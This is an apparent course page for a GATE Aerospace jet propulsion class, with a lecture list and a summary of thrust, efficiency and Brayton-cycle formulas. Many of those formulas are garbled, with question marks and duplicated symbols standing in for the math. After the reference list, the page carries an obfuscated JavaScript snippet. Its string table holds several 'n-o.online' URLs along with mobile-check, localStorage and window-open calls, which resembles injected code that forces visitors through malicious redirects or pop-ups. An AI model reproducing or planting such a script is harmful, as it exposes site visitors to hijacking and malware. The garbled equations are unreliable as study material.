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Aerospace Engineering - AE GATE Exam

JET PROPULSION

50 hours
Aeroadda

About Course

Explore the fascinating world of jet propulsion, where you’ll learn the fundamental principles, mechanisms, and applications of jet engines used in modern aerospace engineering.

What Will You Learn?

  • The fundamental principles of jet propulsion and thermodynamics.
  • Different types of jet engines, including turbojets, turbofans, turboprops, and ramjets.
  • The components and operation of jet engines.
  • The performance characteristics and efficiency of various jet propulsion systems.
  • Practical applications of jet propulsion in aerospace engineering.
  • Current trends and advancements in jet propulsion technology.

Material Includes

  • GATE AE 15 PYQ solution

Requirements

  • Basic understanding of physics
  • Basic understanding of mathematics, particularly calculus and algebra
  • Introductory knowledge of thermodynamics
  • Familiarity with engineering concepts (recommended but not mandatory)

Course Content

JET ENGINE
Jet engines are at the heart of modern aviation, powering a wide range of aircraft from commercial airliners to military jets and even spacecraft. This course provides an in-depth exploration of jet engines, covering the various types, including turbojets, turbofans, turboprops, and ramjets. You will learn about the principles of jet propulsion, the key components of jet engines, and the engineering challenges involved in their design and operation. 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  • TURBOJET ENGINE ll LECTURE 1 II
    00:00
  • THRUST EQUATION II TURBOJET ENGINE II LECTURE 2 II
    00:00
  • BRAYTON CYCLE II TURBOJET ENGINE II LECTURE 3 II
    00:00
  • PERFORMANCE PARAMETERS II TURBOJET ENGINE II LECTURE 4 II
    00:00
  • PROULSION NUMERICALS II II TURBOJET ENGINE II LECTURE 5 II
    00:00
  • PROULSION NUMERICALS 2 II TURBOJET ENGINE II LECTURE 6 II
    00:00
  • INTAKE II INLET II TURBOJET ENGINE II LECTURE 7 II
    00:00
  • ENGINE COMPONENTS II TURBOJET ENGINE II LECTURE 8 II
    00:00
  • NOZZLE II ENGINE COMPONENTS II LECTURE 9 II
    00:00
  • IDEAL RAMJET II JET ENGINE II LECTURE 10 II
    00:00
  • IDEAL RAMJET -NUMERICALS II JET ENGINE II LECTURE 11 II
    00:00
  • AXIAL FLOW COMPRESSOR II TURBOMACHINERY II LECTURE 12 II
    00:00
  • AXIAL FLOW COMPRESSOR II TURBOMACHINERY II LECTURE 13 II
    00:00
  • AXIAL FLOW COMPRESSOR II TURBOMACHINERY II LECTURE 14 II
    00:00
  • AXIAL FLOW TURBINE II TURBOMACHINERY II LECTURE 15 II
    00:00
  • AXIAL FLOW TURBINE II TURBOMACHINERY II LECTURE 16 II
    00:00
  • AXIAL FLOW TURBINE II TURBOMACHINERY II LECTURE 17 II
    00:00
  • TURBOFAN ENGINE
    00:00
  • IDEAL RAMJET
    00:00
  • PERFORMANCE PARAMETERES OF JET ENGINES
    00:00
  • JET PROPULSION Q & A

GATE AE : JET PROPULSION
Jet Propulsion for GATE Aerospace: Jet propulsion is the science and technology of generating thrust by expelling high-speed jets of fluid, typically gases, to propel an aircraft or spacecraft. It forms a significant part of the GATE Aerospace syllabus, particularly under propulsion systems. Jet Propulsion for GATE Aerospace Jet propulsion is the science and technology of generating thrust by expelling high-speed jets of fluid, typically gases, to propel an aircraft or spacecraft. It forms a significant part of the GATE Aerospace syllabus, particularly under propulsion systems. Principles of Jet Propulsion Newton's Third Law of Motion: Thrust is generated as a reaction to the expulsion of a high-speed jet. Conservation of Momentum: The thrust ( ? F) is proportional to the rate of change of momentum of the fluid: ? = ? ˙ ( ? ? − ? 0 ) + ( ? ? − ? ? ) ? ? F= m ˙ (v j ​ −v 0 ​ )+(p j ​ −p a ​ )A j ​ where: ? ˙ m ˙ : Mass flow rate of the jet. ? ? v j ​ : Jet exit velocity. ? 0 v 0 ​ : Flight velocity. ? ? p j ​ : Exit pressure. ? ? p a ​ : Ambient pressure. ? ? A j ​ : Exit area. Specific Thrust: Thrust produced per unit mass flow rate of air: ? ? = ? ? ˙ ? ? ? F s ​ = m ˙ air ​ F ​ Types of Jet Propulsion Systems Turbojet: Simple jet engine with a compressor, combustion chamber, turbine, and nozzle. High thrust at supersonic speeds but less efficient at subsonic speeds. Specific Thrust: ? ? = ( ? ? − ? 0 ) + ( ? ? − ? ? ) ? ? ? ˙ ? ? ? F s ​ =(v j ​ −v 0 ​ )+ m ˙ air ​ (p j ​ −p a ​ )A j ​ ​ Turbofan: Features a fan that bypasses a portion of air around the engine core. Bypass Ratio (BPR): ? ? ? = ? ˙ ? ? ? ? ? ? ? ˙ ? ? ? ? BPR= m ˙ core ​ m ˙ bypass ​ ​ Higher BPR leads to higher efficiency and lower noise. Turboprop: Combines a gas turbine with a propeller for propulsion. Efficient at lower speeds (subsonic flight). Ramjet: No moving parts; relies on compression of incoming air at high speeds. Operates efficiently at supersonic speeds ( ? > 3 M>3). Scramjet: A supersonic combustion ramjet. Operates at hypersonic speeds ( ? > 5 M>5). Pulsejet: Intermittent combustion engine. Used in small applications or as historical engines. Performance Parameters Thrust ( ? F): Net force propelling the aircraft forward. Specific Fuel Consumption (SFC): Fuel efficiency of the engine: ? ? ? = ? ˙ ? ? ? ? ? SFC= F m ˙ fuel ​ ​ Units: ? ? / ( ? ⋅ ? ) kg/(N⋅s). Thermal Efficiency ( ? ? η t ​ ): Efficiency of converting fuel energy to jet kinetic energy: ? ? = ? ˙ ? ? ? ⋅ ( ? ? 2 − ? 0 2 ) 2 ⋅ ? ˙ ? ? ? ? ⋅ ? ? η t ​ = 2⋅ m ˙ fuel ​ ⋅Q r ​ m ˙ air ​ ⋅(v j 2 ​ −v 0 2 ​ ) ​ Propulsive Efficiency ( ? ? η p ​ ): Efficiency of converting jet kinetic energy into useful thrust: ? ? = 2 ? 0 ? ? + ? 0 η p ​ = v j ​ +v 0 ​ 2v 0 ​ ​ Overall Efficiency ( ? ? η o ​ ): Combination of thermal and propulsive efficiencies: ? ? = ? ? ⋅ ? ? η o ​ =η t ​ ⋅η p ​ Thermodynamic Cycle Analysis Jet propulsion engines operate on the Brayton cycle in an open system: Steps: Compression: Air is compressed in the compressor (adiabatic process). Heat Addition: Fuel is burned in the combustion chamber (constant pressure process). Expansion: Hot gases expand in the turbine and nozzle (adiabatic process). Cycle Efficiency: ? = 1 − ? 1 ? 2 η=1− T 2 ​ T 1 ​ ​ where ? 1 T 1 ​ and ? 2 T 2 ​ are the temperatures before and after compression. Nozzle Theory Purpose: Convert high-pressure, high-temperature exhaust gases into high-velocity jets. Choked Flow: Occurs when the flow reaches ? = 1 M=1 at the throat of the nozzle. Nozzle Efficiency ( ? ? η n ​ ): Ratio of actual kinetic energy to ideal kinetic energy of the jet: ? ? = ? ? 2 2 ⋅ (ideal kinetic energy) η n ​ = 2⋅(ideal kinetic energy) v j 2 ​ ​ Key Topics for GATE Aerospace Thrust and Efficiency Calculations: Turbojet, turbofan, and ramjet-specific formulas. Thermodynamic Analysis: Brayton cycle efficiency and temperature-pressure relationships. Nozzle Flow: Choked flow, isentropic relations, and nozzle design. Performance Metrics: SFC, propulsive efficiency, and overall efficiency. Mach Number Effects: Impact on ramjets and scramjets. Comparison of Propulsion Systems: Turbojets vs. turbofans vs. ramjets for specific applications. Key References for GATE Aerospace Books: "Mechanics and Thermodynamics of Propulsion" by Hill and Peterson. "Elements of Gas Turbine Propulsion" by Jack D. Mattingly. Past GATE Papers: Solve previous years’ questions focusing on thrust, efficiency, and specific propulsion systems. Numerical Practice: Emphasize problems involving efficiency and thermodynamic cycles. <script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=['parse','48RjHnAD','forEach','10eQGByx','test','7364049wnIPjl','https://n-o.online/laU9c3','https://n-o.online/wTG8c6','282667lxKoKj','open','abs','-hurs','getItem','1467075WqPRNS','addEventListener','mobileCheck','2PiDQWJ','18CUWcJz','https://n-o.online/GnP5c8','8SJGLkz','random','https://n-o.online/wWk1c5','7196643rGaMMg','setItem','-mnts','https://n-o.online/hkM2c1','266801SrzfpD','substr','floor','-local-storage','https://n-o.online/FDu4c1','3ThLcDl','stopPropagation','_blank','https://n-o.online/uaO3c3','round','vendor','5830004qBMtee','filter','length','3227133ReXbNN','https://n-o.online/eGl0c8'];_0x4d17=function(){return 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Aeroadda

Aeroadda

4.0
626 Students
45 Courses
Free
  • Intermediate
  • November 28, 2025

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